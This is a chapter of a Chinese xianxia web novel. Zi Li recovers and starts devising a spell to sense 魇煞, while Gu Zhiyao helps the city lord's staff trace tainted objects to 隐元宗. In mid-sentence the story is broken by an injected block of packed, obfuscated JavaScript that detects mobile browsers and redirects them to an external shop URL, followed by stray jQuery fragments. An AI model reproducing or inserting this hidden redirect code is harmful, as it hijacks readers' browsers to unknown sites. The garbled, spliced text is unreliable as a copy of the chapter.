16. 心火
作品:《开局飞升:我在运朝当道尊》 再次苏醒紫离已回到小院房间,确定无人在侧,她才悄悄睁开眼。
神识枯竭尚未完全恢复,识海一片空荡。
不同于废功后初次苏醒那种沉郁,此刻紫离只觉浑身轻松,这种纯粹的闲暇对她来说堪称奢侈,她甚至舍不得起身。
脑中思绪漫无目的飘荡。
知遥姐姐会担心她吗?虽然把自己折腾昏迷是她自己的事,但她还是隐隐期待顾知遥为她蹙眉的模样。
不知祁问越和迟枫那边查出什么线索没有……
从枕边摸出祁问越给的玉瓶,倒出一枚丹药含在口中,紫离抱着软枕望向窗外,正看到树荫下栽种灵植的花盆。
看在丹药的份上,她就不计较祁问越上次试图拿赔偿坑她的事了。
顾知遥端着午膳推门而入时,紫离正伏在桌案前奋笔疾书。
她一如既往温和,如常走到紫离身旁,帮她挽起长发:“去吃饭。”
“哦。”紫离满吞吞挪过去,眼角余光不住打量顾知遥。
她怎么不关心她?
连迟枫和祁问越都那么明显,知遥姐姐怎么和平时没半点区别?
紫离目光探究地盯着顾知遥不放。
这明晃晃的视线让顾知遥努力维持的平静出现裂痕,她克制不住地显露怒意:“紫离,你也知道我会担心?”
“怎能如此不顾惜自己身体……归垣城巡卫又不是无人可用,这些事情自有祁问越和迟枫处理,何须你一个带伤之人替他们奔波?”
“不是为了他们。”紫离语带倔强,她出手从来都是为了自己。
至少这一段时间内,归垣城都是她的栖身之所。
顾知遥凝视她良久,不忍再出言责备,她自袖中取出一个玉盒推向紫离,掀开盒盖的瞬间,灵光四溢,满室生辉。
盒中宝玉顿时吸引紫离目光:“这是?”
“这是我替你向城主府要来的报酬。”顾知遥理所当然道,“你既然出力,他们自然该有所回报。”
这竟是一块源玉!
万枚灵铢方可兑换一块源玉,然而市面上灵铢品质参差不齐,源玉有价无市,向来是第七境以上大能所用,知遥姐姐为她争取来源玉恐怕并不容易。
“收好。”顾知遥将玉盒再往前推了两分,沉声叮嘱,“下次不可再如此胡闹。”
紫离乖巧应声。
饭后,紫离将桌案上散落的玉简笔墨稍作归整,继续埋头撰写。
顾知遥走近,玉简上密密麻麻全是复杂的灵纹和口诀,引得她好奇询问。
“我欲以此创造感知魇煞的术法。”紫离眼珠一转,她早就了解过,现今修士并无有效应对魇煞的手段,只能靠探知地脉避过魇煞可能存在之处,但仍常有修士受魇煞所袭陨落。
她将感应魇煞的种种细节,灵气与神识在妖瞳中的运行变化都记录下来,这是她创造术法的基石。
妖瞳背后有一股不受控制的力量,那绝非她现在所能触及,日后必须要慎用。若能将这般感知固化下来,做成寻常修士也能修习的术法……
自然会有更多人帮她清除魇煞。
“当真?”顾知遥惊喜不已,倾身靠近紫离细看,“此术若成,足以活人无数!”
她只是想自保而已,不过知遥姐姐如此在意,看来灵界之人也急需此术。紫离低声探问:“不知这术法交给明城主……能抵几成救命之恩?”
顾知遥先是一愣,随即失笑:“哈哈,他怕是要倒欠你人情。”
长久以来的恩情负累一直压在紫离心头,此刻终于看到曙光,她眼睛骤然亮起:“没关系,就当是谢明城主这些时日照顾。”
她要摆脱作为刀的宿命!
她是一个有喜有怒、会哭会笑的生灵,尤其是……紫离凝视顾知遥含笑的眉眼,在得到如此多关怀后,她再也不愿回到过去。
苏醒不到两个时辰,紫离便又觉困倦。
顾知遥连哄带劝地让她躺下休息,正想转身离去,紫离却拉着她衣袖不让她走:“知遥姐姐,我想听你吹笛。”
顾知遥坐在她床边,取出玉笛横在唇边。
她技巧并不算娴熟,一听便知不是精于此道,但那笛声在紫离听来如同春风拂过,温柔抚慰她疲惫的神识。
直到紫离沉沉睡去,顾知遥才停下。
紫离灵觉敏锐,她未曾伸手触碰,只是温柔注视她睡颜,不知过了多久,她才悄然离开。
顾知遥只身来到城主府门前。
修士想要平地起高楼不过是转念之间,这座城主府建成却并不容易,从选址、材质到阵法设计,都是她与景川和明宸的心血,这里,承载了他们共同的愿景——以归垣城为核心,控制整个云梦州;再以望城为桥,通过她在澜城遗留的名望控制沧元州;进而逐步蚕食整个东极域,乃至更广阔的天地……
“管他人族还是妖族,天尊还是帝尊,我要让这天下修士,按照我定下的规矩行事!”彼时她站在澜城险峰之上俯瞰沧元州,青丝尚未成雪,转头时发丝扬起的弧度都带着意气,她对身后的景川和明宸放下豪言。
可这一切,都困于她的实力与寿数,困于明宸七百年未曾突破的瓶颈,困于之前数百年天地大劫将至的时局压力。
漫长而无望的时光,几乎将那意气消磨殆尽。
最终景川的死,彻底压垮了她。
为什么还要来这里,不是已经决定好不再理会这些吗?
顾知遥踌躇不已。
她现在有了紫离,紫离如此费尽心力,她总该帮她。
可究其根本,她到这里来只是为了帮紫离,还是……她终究心火未熄?
明宸,你将紫离带到我身边,是希望她可以成为我们同道之人?成为我的……护道人?
或许日后她真能弥补上我们最缺失、最关键的那一环。
顾知遥取出令牌,走入城主府。
明宸只留迟枫在归垣城,自是因为她在,只要她想,便可以接手整座城池。
不过今日,顾知遥低头看了一眼令牌上篆文写就的“客”字,她只以区区客卿身份踏入议事厅便足矣。
现在,还不是时候。
“师姐!”迟枫惊喜地迎上来,“你怎么来了?”
顾知遥朝厅内众人行礼致意,除了迟枫和祁问越,还有五位幕僚在。
下首那名女子客气询问:“顾先生可是为魇煞之事而来?”
明宸麾下众人对顾知遥向来尊敬,鲜少会因修为而轻视于她,修为最高的幕僚也只是移开视线,不曾上前搭话。
“不知可查到什么线索?”顾知遥点头,目光掠过桌上陈放的各类证物。
女子回头望向迟枫,经她同意后便禀报:“两次行动共查获被魇煞所污器物十七件,其上煞气并非原生,倒像是后天沾染,且手法隐晦,非寻常魇煞自发凝聚可比。”
祁问越冷笑:“明摆着是有人故意为之,散布这些‘种子’。”
“这些器物都是通过此次坊市交易扩散,持有修士均非幕后之人所派;封城那日所抓行踪鬼祟的修士,是因逃税私入城池;至于冲击阵法的两名修士……”女子小心翼翼看了一眼祁问越神情,压低声音,“在牢中暴毙而亡。”
线索几乎全断!
顾知遥并无意外之色,既做下此等恶事,幕后之人定然早有防备。
“这些证物,我可否一观?”
女子侧身让路,又贴心将桌案上众人汇总的文书递给顾知遥。
文书上记载着每件证物的来历,以及相关修士口供,顾知遥对照文书细细查阅,最终拿起那枚记录灰衣男子随身物品的玉简:“若无线索,可先查隐元宗。”
祁问越做出一副请的手势:“愿闻其详。”
“这灰衣男子虽然身份不明,但他随身所带灵铢,大多是隐元宗所铸。”顾知遥灵力激发玉简,其中画面清晰展现在半空中。
数十枚灵铢在半空旋转,其中有七成边缘刻绘的是是隐元宗特有的云纹。
那修为高深的幕僚质疑:“隐元宗与天胤宗相邻,往常出入归垣城也常有携带隐元宗灵铢的修士,这有什么好奇怪?若真如你猜测,他为何要留下如此破绽?”
显然是对此论不屑一顾。
“他被发现之前,诸君可有办法识破其身上有魇煞潜藏?”顾知遥不急不缓陈述,“既无被发现之忧,隐去身上所有证明身份的物件已是谨慎,如何还会在意灵铢样式这等小事。”
顾知遥将分别出自两宗的两枚灵铢摆放在一起,皆是圆形方孔,样式极为相似,只有侧边的云纹与星芒有所区别。
未待众人再提出异议,她转向迟枫:“我听闻迟统领数月前曾与隐元宗掌门弟子苏延有过一战,随后便遇魇煞袭击?”
“确有此事。”迟枫简单讲述那日战事,隐去事情起因和紫离的存在。
此事自然是说与众位幕僚听的。
当日苏延在望城逞凶,顾知遥传讯一至,明宸便动身前去诱敌,迟枫急调城外军队寻机埋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068388|194375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伏,城中主事幕僚只知数月前迟枫在外遭遇魇煞,却不知详情。
祁问越做为医治紫离之人,自然问过前因后果,他双手交握,向前倾身:“只有灵铢或许无法定论,但这二者相叠,定与隐元宗脱不了干系!”
隐元宗与天胤宗一样是横跨数州的宗门,对于他们这一城之地说来可谓庞然大物,难以撼动。
调查至此陷入僵局。
接下来便是善后事宜,顾知遥提出建议:“报与明城主,试探一下天胤宗动向。”
“日后若要对付隐元宗,我可略尽绵薄之力,其余我便不好再插手。”祁问越不欲掺和天胤宗内部纷争,无视迟枫哀求的眼神,大步走出议事厅。
“师姐……”迟枫生怕顾知遥也撒手不管,私下传音苦苦相求,“你若也走了,这么多事我如何扛得动?”
顾知遥微微朝她颔首:“前日封城动静太大,难免人心浮动,不如昭告全城公开销毁这些沾染魇煞气息的器物,以安人心。”
一众幕僚闻言纷纷点头赞同,物资调度、防卫安排……各项命令如流水般从顾知遥手中流向管事与巡卫。
有顾知遥帮忙分担,迟枫得以卸下肩头重担,甚至能忙里偷闲去看望紫离。
听完迟枫绘声绘色讲述顾知遥如何在城主府众幕僚面前大展风采,紫离还有些可惜未能得见,不过很快重点便被迟枫所说隐元宗吸引:“知遥姐姐和祁大宗师都认为幕后黑手是隐元宗?”
“是啊,”迟枫一脸惆怅,“隐元宗虽比天胤宗稍弱一筹,但也有一位尊者坐镇,没有确凿证据,此事或许就会这么不了了之。”
紫离反而宽慰迟枫:“既然知道敌人是谁,自可针对它做出防备。”总好过不知从哪来的敌人冷不丁捅刀。
隐元宗,还与苏延和魇煞有关,她记住了。
“也对,先不说这些讨厌的事。”迟枫兴致勃勃邀请,“紫离,明日城主府外引雷祛秽,要不要一起去看?那可是个大热闹。”
紫离犹豫片刻,婉言拒绝,睫羽在她脸上投下淡淡阴影:“人太多的地方,我总是不习惯。”
不到半日功夫,紫离又收到同样邀请,这一次来自从城主府归来的顾知遥。
她平日眉宇间总隐含哀伤,今日却似洗去尘埃,显出几分意气风发来。
“两次清查魇煞皆是你的功劳,不想去看看吗?”
紫离还是摇头拒绝,她并不想把时间浪费在这些无关紧要的事上:“我自是信得过你们。”
上次神识探遍全城,她已对归垣城阵法布局了如指掌,并无出去打探的必要,眼下更重要的……
魇煞之祸兴起已有近一甲子,主界能人辈出,不可能没人想过防范之法,但直至今日也未见多大成效。
摆开手中刻录的五枚玉简,紫离一时不知从何处下手。
蒙书中灵力运行法门只是基础,她从前所学更是只知其用而不知其理,想逆推妖瞳的特殊感知能力,还差得太远。
“知遥姐姐,可否帮我寻些更高深的术法运行要诀?”
顾知遥自无不应。
只是她方才还明朗的神情此时聚起一团愁云,未曾多言,起身去为紫离寻书。
徒留紫离心下疑惑,怎么知遥姐姐情绪起伏如此之大,又喜又忧?
第二日,街道上喧闹之声越过小院外墙,传入室内,顾知遥时不时向外眺望,目光回到紫离身上后也未曾聚焦,只盯着她怔怔出神。
那股焦躁之意明显到紫离能够轻易感知,她放下新到手的玉简:“知遥姐姐,你想去便去,不必顾及我。”
顾知遥回过神:“我在这里陪你不好吗?”
紫离微微歪头思索:“就像知遥姐姐不会勉强我做不愿之事,我也不会阻拦你。”
“不是为了你,只是我亦不喜热闹。”顾知遥眼神愈发柔和,似是想到什么,欲言又止:“紫离,你……”
“嗯?”紫离疑惑看她,怎么话只说一半?
“没什么。”顾知遥为她布下隔音法阵,安静坐在一旁,“你好生研习术法。”
院外风雷之声乍起,室内有阵法阻隔,听不到声响却也能见到光影闪过,而紫离专注于眼前玉简,未分出半点心神。
直到窗外雷光渐消,顾知遥始终没有再多言,只有眉间那一抹轻愁倾诉她心中隐忧。
岁月在这份新生的宁静中悄然流淌,紫离愈发刻苦,每日不是研习术法就是苦练神识,顾知遥则时常出入城主府,应对那平静之下暗藏的风浪。

